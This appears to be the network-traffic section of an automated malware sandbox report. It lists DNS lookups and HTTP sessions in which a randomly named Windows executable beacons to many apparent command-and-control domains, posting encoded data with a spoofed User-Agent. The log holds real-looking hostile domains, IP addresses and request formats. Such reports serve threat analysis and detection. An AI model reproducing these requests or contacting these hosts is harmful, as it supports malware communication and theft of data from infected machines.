                                                                                                                                                                                                      Oct 9, 2024 14:44:37.370110035 CEST6197753192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:44:37.379163980 CEST53619771.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.652029037 CEST5176153192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.718488932 CEST53517611.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.253170013 CEST6461153192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.343672991 CEST53646111.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.815437078 CEST5308753192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.831176043 CEST53530871.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.363370895 CEST6159353192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.916814089 CEST53615931.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:41.644517899 CEST5441953192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:45:41.661319971 CEST53544191.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:54.926286936 CEST6249653192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:45:55.089149952 CEST53624961.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:08.244299889 CEST5017753192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:08.759584904 CEST53501771.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:16.816354990 CEST5952353192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:16.848720074 CEST53595231.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:30.425024986 CEST5043053192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:31.447575092 CEST5043053192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.452722073 CEST5043053192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729074955 CEST53504301.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729100943 CEST53504301.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729120016 CEST53504301.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.287162066 CEST5707653192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.299757004 CEST53570761.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.505049944 CEST6534453192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.622617960 CEST53653441.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.303415060 CEST5808953192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.321070910 CEST53580891.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.644572973 CEST5351553192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.770742893 CEST53535151.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:40.566659927 CEST5912053192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.578660011 CEST5912053192.168.2.61.1.1.1
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841545105 CEST53591201.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841555119 CEST53591201.1.1.1192.168.2.6

                                                                                                                                                                                                      DNS Queries

                                                                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                      Oct 9, 2024 14:44:37.370110035 CEST192.168.2.61.1.1.10x1a09Standard query (0)www.ankittrading.storeA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.652029037 CEST192.168.2.61.1.1.10x5736Standard query (0)www.notepad.mobiA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.253170013 CEST192.168.2.61.1.1.10xc744Standard query (0)www.elektromontaze.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.815437078 CEST192.168.2.61.1.1.10x17f9Standard query (0)www.rtpsilva4d.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.363370895 CEST192.168.2.61.1.1.10x62c8Standard query (0)www.mcse.topA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:41.644517899 CEST192.168.2.61.1.1.10xdcdfStandard query (0)www.paysom.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:54.926286936 CEST192.168.2.61.1.1.10xa122Standard query (0)www.bearableguy.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:08.244299889 CEST192.168.2.61.1.1.10xb81aStandard query (0)www.monitoraseg.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:16.816354990 CEST192.168.2.61.1.1.10x5840Standard query (0)www.spectre.centerA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:30.425024986 CEST192.168.2.61.1.1.10x179bStandard query (0)www.kmjai8jf.icuA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:31.447575092 CEST192.168.2.61.1.1.10x179bStandard query (0)www.kmjai8jf.icuA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.452722073 CEST192.168.2.61.1.1.10x179bStandard query (0)www.kmjai8jf.icuA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.287162066 CEST192.168.2.61.1.1.10x472bStandard query (0)www.chrisflynn.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.505049944 CEST192.168.2.61.1.1.10x6759Standard query (0)www.wanderworld.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.303415060 CEST192.168.2.61.1.1.10x22c2Standard query (0)www.catholic.todayA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.644572973 CEST192.168.2.61.1.1.10x6d51Standard query (0)www.xueerr.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:40.566659927 CEST192.168.2.61.1.1.10x101bStandard query (0)www.h45d.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.578660011 CEST192.168.2.61.1.1.10x101bStandard query (0)www.h45d.xyzA (IP address)IN (0x0001)false

                                                                                                                                                                                                      DNS Answers

                                                                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                      Oct 9, 2024 14:44:37.379163980 CEST1.1.1.1192.168.2.60x1a09Name error (3)www.ankittrading.storenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.718488932 CEST1.1.1.1192.168.2.60x5736No error (0)www.notepad.mobi199.59.243.227A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.343672991 CEST1.1.1.1192.168.2.60xc744No error (0)www.elektromontaze.online37.9.175.163A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.831176043 CEST1.1.1.1192.168.2.60x17f9No error (0)www.rtpsilva4d.clickrtpsilva4d.clickCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.831176043 CEST1.1.1.1192.168.2.60x17f9No error (0)rtpsilva4d.click67.223.117.169A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.916814089 CEST1.1.1.1192.168.2.60x62c8No error (0)www.mcse.top154.9.228.56A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:41.661319971 CEST1.1.1.1192.168.2.60xdcdfNo error (0)www.paysom.xyz203.161.41.205A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:55.089149952 CEST1.1.1.1192.168.2.60xa122No error (0)www.bearableguy.netbearableguy.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:55.089149952 CEST1.1.1.1192.168.2.60xa122No error (0)bearableguy.net3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:45:55.089149952 CEST1.1.1.1192.168.2.60xa122No error (0)bearableguy.net15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:08.759584904 CEST1.1.1.1192.168.2.60xb81aServer failure (2)www.monitoraseg.onlinenonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:16.848720074 CEST1.1.1.1192.168.2.60x5840No error (0)www.spectre.center5.39.10.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729074955 CEST1.1.1.1192.168.2.60x179bNo error (0)www.kmjai8jf.icu103.245.25.54A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729100943 CEST1.1.1.1192.168.2.60x179bNo error (0)www.kmjai8jf.icu103.245.25.54A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.729120016 CEST1.1.1.1192.168.2.60x179bNo error (0)www.kmjai8jf.icu103.245.25.54A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.299757004 CEST1.1.1.1192.168.2.60x472bNo error (0)www.chrisflynn.click3.131.150.69A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.622617960 CEST1.1.1.1192.168.2.60x6759No error (0)www.wanderworld.infowanderworld.infoCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.622617960 CEST1.1.1.1192.168.2.60x6759No error (0)wanderworld.info51.89.21.214A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.321070910 CEST1.1.1.1192.168.2.60x22c2No error (0)www.catholic.today13.248.169.48A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.321070910 CEST1.1.1.1192.168.2.60x22c2No error (0)www.catholic.today76.223.54.146A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.770742893 CEST1.1.1.1192.168.2.60x6d51No error (0)www.xueerr.xyz129.226.176.90A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841545105 CEST1.1.1.1192.168.2.60x101bNo error (0)www.h45d.xyzhuayang.302.gn301.xyzCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841545105 CEST1.1.1.1192.168.2.60x101bNo error (0)huayang.302.gn301.xyz107.148.177.200A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841545105 CEST1.1.1.1192.168.2.60x101bNo error (0)huayang.302.gn301.xyz172.247.44.157A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841555119 CEST1.1.1.1192.168.2.60x101bNo error (0)www.h45d.xyzhuayang.302.gn301.xyzCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841555119 CEST1.1.1.1192.168.2.60x101bNo error (0)huayang.302.gn301.xyz107.148.177.200A (IP address)IN (0x0001)false
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.841555119 CEST1.1.1.1192.168.2.60x101bNo error (0)huayang.302.gn301.xyz172.247.44.157A (IP address)IN (0x0001)false

                                                                                                                                                                                                      HTTP Request Dependency Graph

                                                                                                                                                                                                      • www.notepad.mobi
                                                                                                                                                                                                      • www.elektromontaze.online
                                                                                                                                                                                                      • www.rtpsilva4d.click
                                                                                                                                                                                                      • www.mcse.top
                                                                                                                                                                                                      • www.paysom.xyz
                                                                                                                                                                                                      • www.bearableguy.net
                                                                                                                                                                                                      • www.spectre.center
                                                                                                                                                                                                      • www.kmjai8jf.icu
                                                                                                                                                                                                      • www.chrisflynn.click
                                                                                                                                                                                                      • www.wanderworld.info
                                                                                                                                                                                                      • www.catholic.today
                                                                                                                                                                                                      • www.xueerr.xyz
                                                                                                                                                                                                      • www.h45d.xyz

                                                                                                                                                                                                      HTTP Packets

                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      0192.168.2.665294199.59.243.227804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.739100933 CEST517OUTGET /l4rw/?LvYDDv8X=bxLhvRGrGkmA3a8MVLksA9O6epMWunBjiiDhmPdAbaxOp/M+Gpk9AJyEIFaWZbfbYSMKIIsbQIm0wGAdIoyiMtiPHQ27HfMbXFoZARRaLzz3WCrZtFKj2PO821vp/0Xp9I4bko8=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.notepad.mobi
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213630915 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      date: Wed, 09 Oct 2024 12:44:42 GMT
                                                                                                                                                                                                      content-type: text/html; charset=utf-8
                                                                                                                                                                                                      content-length: 1530
                                                                                                                                                                                                      x-request-id: 898e8e76-3a25-4f27-a9b8-365960d61bed
                                                                                                                                                                                                      cache-control: no-store, max-age=0
                                                                                                                                                                                                      accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                      critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                      vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                      x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Qo+tib04CLMI3x9YZ2h5/9BU37zzSI51pfIXwYYM+tkLBp3O0oBWGne2Uxgf9ErdOAQwyeTzcde0KL9R3tqwMw==
                                                                                                                                                                                                      set-cookie: parking_session=898e8e76-3a25-4f27-a9b8-365960d61bed; expires=Wed, 09 Oct 2024 12:59:43 GMT; path=/
                                                                                                                                                                                                      connection: close
                                                                                                                                                                                                      Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 51 6f 2b 74 69 62 30 34 43 4c 4d 49 33 78 39 59 5a 32 68 35 2f 39 42 55 33 37 7a 7a 53 49 35 31 70 66 49 58 77 59 59 4d 2b 74 6b 4c 42 70 33 4f 30 6f 42 57 47 6e 65 32 55 78 67 66 39 45 72 64 4f 41 51 77 79 65 54 7a 63 64 65 30 4b 4c 39 52 33 74 71 77 4d 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Qo+tib04CLMI3x9YZ2h5/9BU37zzSI51pfIXwYYM+tkLBp3O0oBWGne2Uxgf9ErdOAQwyeTzcde0KL9R3tqwMw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213690042 CEST983INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                                                                                                                                      Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODk4ZThlNzYtM2EyNS00ZjI3LWE5YjgtMzY1OTYwZDYxYmVkIiwicGFnZV90aW1lIjoxNzI4NDc3OD


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      1192.168.2.66537037.9.175.163804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.362224102 CEST790OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.elektromontaze.online
                                                                                                                                                                                                      Origin: http://www.elektromontaze.online
                                                                                                                                                                                                      Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 2b 47 72 71 44 36 73 63 53 57 59 74 78 41 4c 58 69 52 74 34 6f 68 43 43 48 74 52 48 6a 74 41 78 66 52 4d 33 41 72 4b 77 57 58 75 32 44 32 57 4d 61 74 2f 33 6f 4a 74 2f 31 59 54 79 55 5a 30 7a 67 45 34 77 66 63 6f 6f 46 39 6b 46 33 45 44 46 39 44 4a 75 5a 6b 55 4e 4d 4f 36 42 33 6f 48 74 36 33 4d 76 78 78 64 65 66 42 33 35 6f 4a 76 54 30 61 77 49 47 4d 35 62 78 32 46 30 32 73 49 74 49 62 76 73 75 75 72 58 37 70 36 45 41 6e 4d 6a 64 62 73 49 38 74 66 6f 56 6d 6a 69 43 31 36 77 63 64 44 58 53 5a 77 4b 50 77 62 6f 4e 33 33 48 62 33 74 64 73 4f 53 67 53 49 32 4b 39 2b 68 55 71 43 4f 65 70 59 30 71 70 7a 64 51
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=+GrqD6scSWYtxALXiRt4ohCCHtRHjtAxfRM3ArKwWXu2D2WMat/3oJt/1YTyUZ0zgE4wfcooF9kF3EDF9DJuZkUNMO6B3oHt63MvxxdefB35oJvT0awIGM5bx2F02sItIbvsuurX7p6EAnMjdbsI8tfoVmjiC16wcdDXSZwKPwboN33Hb3tdsOSgSI2K9+hUqCOepY0qpzdQ
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045860052 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:44:58 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045874119 CEST1236INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                                                      Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2j!s?#9
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045886040 CEST1236INData Raw: 7d d1 49 e4 86 a3 3c 09 f0 7f a0 ae 9b 2f 75 b4 58 9d 85 9f 93 ea 42 41 cd a7 78 55 ca 11 0d c9 0c b0 28 b7 7c 75 74 d9 c7 67 a3 7a fa 28 16 f3 90 dd e4 66 b1 f2 41 e1 76 67 85 0c 0f 61 b6 b8 aa aa 93 32 33 76 7c b1 c0 dc e5 e6 6d 51 a1 b8 7c b3
                                                                                                                                                                                                      Data Ascii: }I</uXBAxU(|utgz(fAvga23v|mQ|[D1(Rt:ZmX=;!'Et8!ApO~k"d[Vf$%RWQxa55YMIkDT`ZuYq'K,"'_-Pes.~5j[J.K0#+7w'P
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045898914 CEST918INData Raw: b0 c3 4a 7c b1 d8 6d 9a f6 16 2b a4 78 7e c3 0c 50 2e c4 60 d0 75 3b 02 f9 59 b4 a6 36 4d df 77 95 02 93 af b4 16 dd 20 2e 16 16 75 4d 2b 0a 30 41 e1 c3 7f 2c 74 a2 5e 8a c9 70 31 ed 77 03 7f 29 d3 fe af 5c 66 d1 fc 7a 1f c4 27 e2 da 97 9b f6 52
                                                                                                                                                                                                      Data Ascii: J|m+x~P.`u;Y6Mw .uM+0A,t^p1w)\fz'R!=z4/]';D|*9tto[uCejYP?xo;F;<@"p$hr[j9dl\kbkT,_/B.!W5p%YS?.{C#8Z;+x"


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      2192.168.2.66538537.9.175.163804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.909172058 CEST814OUTPOST /t3gh/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.elektromontaze.online
                                                                                                                                                                                                      Origin: http://www.elektromontaze.online
                                                                                                                                                                                                      Referer: http://www.elektromontaze.online/t3gh/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 2b 47 72 71 44 36 73 63 53 57 59 74 33 67 37 58 75 53 56 34 75 42 43 42 5a 39 52 48 70 4e 41 4c 66 52 41 33 41 6f 47 67 57 42 2b 32 44 57 6d 4d 62 73 2f 33 72 4a 74 2f 73 6f 54 33 61 35 30 6f 67 45 46 54 66 64 45 6f 46 37 49 46 33 42 2f 46 39 55 6c 68 44 55 55 50 45 75 36 44 35 49 48 74 36 33 4d 76 78 78 49 7a 66 43 48 35 6f 35 2f 54 31 37 77 4c 59 38 35 59 79 32 46 30 79 73 49 70 49 62 76 46 75 72 4c 39 37 72 53 45 41 6d 38 6a 65 4f 41 50 32 74 66 71 5a 32 69 39 43 6b 50 31 64 76 44 53 54 37 77 32 51 7a 6a 64 46 68 32 64 48 45 74 2b 2b 65 79 69 53 4b 75 34 39 65 68 2b 6f 43 32 65 37 50 34 4e 6d 48 34 7a 43 65 41 38 7a 31 44 76 57 4b 35 44 77 35 48 70 77 72 4c 76 35 51 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=+GrqD6scSWYt3g7XuSV4uBCBZ9RHpNALfRA3AoGgWB+2DWmMbs/3rJt/soT3a50ogEFTfdEoF7IF3B/F9UlhDUUPEu6D5IHt63MvxxIzfCH5o5/T17wLY85Yy2F0ysIpIbvFurL97rSEAm8jeOAP2tfqZ2i9CkP1dvDST7w2QzjdFh2dHEt++eyiSKu49eh+oC2e7P4NmH4zCeA8z1DvWK5Dw5HpwrLv5Q==
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653448105 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                      Server: openresty
